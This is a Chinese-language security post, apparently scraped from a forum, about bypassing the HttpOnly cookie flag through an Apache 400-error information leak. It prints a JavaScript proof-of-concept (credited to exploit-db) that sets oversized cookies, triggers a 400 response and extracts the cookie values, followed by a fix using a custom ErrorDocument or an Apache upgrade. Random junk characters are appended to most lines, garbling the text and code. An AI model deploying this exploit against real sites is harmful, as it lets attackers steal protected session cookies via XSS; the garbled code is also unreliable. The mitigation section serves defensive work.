很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。' d/ I9 A4 H- m x
' [1 m8 f% V+ T" M用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:' W" `2 k" T1 ?; B R1 }( T
) ^5 W+ F1 q6 U$ G c* n
6 ~& ]. N" h0 M) L% g# n+ u& b4 K" Y9 t
// http://www.exploit-db.com/exploits/18442/8 }4 f& N1 B+ l& ?9 r
function setCookies (good) {1 C. u. Y$ t1 E5 n5 M$ h; r
// Construct string for cookie value2 t$ H/ a9 m# s5 t9 g2 ` M& ~# m
var str = "";6 B, e- d6 Y4 G m( x1 ]6 `
for (var i=0; i< 819; i++) {
. ~% p+ s; O& f4 W% }$ X" l. ^str += "x";
& m* [0 Q) W/ Y4 l& a2 u}4 h/ R) T( O9 N- l5 w8 v
// Set cookies
C& W) J a7 Kfor (i = 0; i < 10; i++) {
1 B1 ]$ C0 l. a* K# W// Expire evil cookie1 G7 k+ M* U! U- _
if (good) {" E" e% A6 D% ]' e, R' _
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";: f! L% `$ n3 H' j$ x5 r S0 U" v
}
- k2 x+ b6 R* Y// Set evil cookie
) }0 _" j' }* n2 f* Y1 o# J7 Pelse {8 ]9 Q- G0 a; d
var cookie = "xss"+i+"="+str+";path=/";7 K+ Z& d& d$ x$ g5 `7 `- L
}2 u3 y( n- k' \9 G. b' Y7 t
document.cookie = cookie;
8 ]% e( T0 M$ M4 ^2 B3 T2 c! z; l}" R1 m( J1 ~$ H1 \3 Q) b
}' _# I& U/ Y- }! ]
function makeRequest() {7 D: \3 G4 {2 j
setCookies();7 E9 k4 E# ?4 m
function parseCookies () {* x4 U9 r* t: W0 \# x* ^% v3 i
var cookie_dict = {};
3 c' b$ p8 e2 A, N9 r$ a. Y// Only react on 400 status$ n* ?4 _$ [& h! s7 N. F
if (xhr.readyState === 4 && xhr.status === 400) {
, d1 S, W+ i0 X6 [// Replace newlines and match <pre> content
+ p1 k9 Z& T# l* nvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);, U& v" m! ^. M, G2 A1 Q" q
if (content.length) {
) j7 o; O1 ]1 x% W// Remove Cookie: prefix
3 S+ o1 ]8 }8 s+ qcontent = content[1].replace("Cookie: ", "");. g2 `, d) ?) @6 f3 J( h
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
; z6 M* ~2 \; x& p+ T// Add cookies to object: _0 |4 W9 |) S/ K2 A5 N8 Y
for (var i=0; i<cookies.length; i++) {
) W- X) k4 C, q" V" q+ k& x) t: @var s_c = cookies.split('=',2);
& h- l' y( k; y( }6 e6 Fcookie_dict[s_c[0]] = s_c[1];: ?) ]4 R2 J2 o7 b
}6 q! F# J3 y* M4 G3 j
}
8 c( L2 p9 K* K5 [0 R* n1 ~// Unset malicious cookies T$ K3 D/ a6 _8 J/ w& Q
setCookies(true);
# Y6 G! \% q" h U/ P2 d: ]& yalert(JSON.stringify(cookie_dict));: `" L4 Z& ~% H4 v8 j# I
}" i# I3 C4 J/ {( B: M
}2 a. \' n. A0 J" l# c
// Make XHR request
. S9 w3 a$ q# r8 c6 d% W$ |var xhr = new XMLHttpRequest();
6 j6 v" |1 Y" oxhr.onreadystatechange = parseCookies;3 n* n7 u, s Z: X9 e6 n
xhr.open("GET", "/", true);
: @+ v- E& d8 ?* T" P1 Yxhr.send(null);
& l# y# |. ~9 E* y}
; o3 M* i: e! d5 d2 i5 |5 amakeRequest();
6 O5 |6 K- z. {3 U: p5 I& k) D( @2 X. _$ R( Z) Z
你就能看见华丽丽的400错误包含着cookie信息。
! _; N; G9 e/ ~+ k/ I: Q& X; Y0 w( {# `0 F }, J# T
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#+ h& L8 {! D2 o* x' s
' f# G3 K2 a; g' K4 y8 p
修复方案:, K; F- O# y0 z
' _0 ?& m6 j3 Z) u
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下* b- [$ U4 X9 u5 N# h# I' J6 T
- Y. q- k0 y. i7 K) j, a0 j
In the event of a problem or error, Apachecan be configured to do one of four things,' q3 C* H! _8 q
2 V0 q" b! ~) Z' \: q1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
I# R6 N9 p G* K# C2 h0 s& [2. output acustomized message输出一段信息" P/ c! m$ C3 `& t
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 7 r/ j* u7 {8 K$ \6 M
4. redirect to an external URL to handle theproblem/error转向一个外部URL6 \3 b$ N. e; \: u
% g: V! Z5 E4 E) x: }经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
6 U. K, G+ ?9 o1 m
$ O0 g6 o3 Z& R6 E0 C2 QApache配置:
( N0 T1 O) N9 @
3 C( [% }1 |$ L% I4 LErrorDocument400 " security test"
, G! Y3 R2 i: n' B+ l [1 M0 w: ?; `% @8 k
当然,升级apache到最新也可:)。! X' \3 N* o3 Y! Q- E6 s$ w6 y
' \6 |( x/ U' A' H! z: j
参考:http://httpd.apache.org/security/vulnerabilities_22.html
( P& A2 _5 u8 d$ \: }1 K/ f6 N- F7 m
|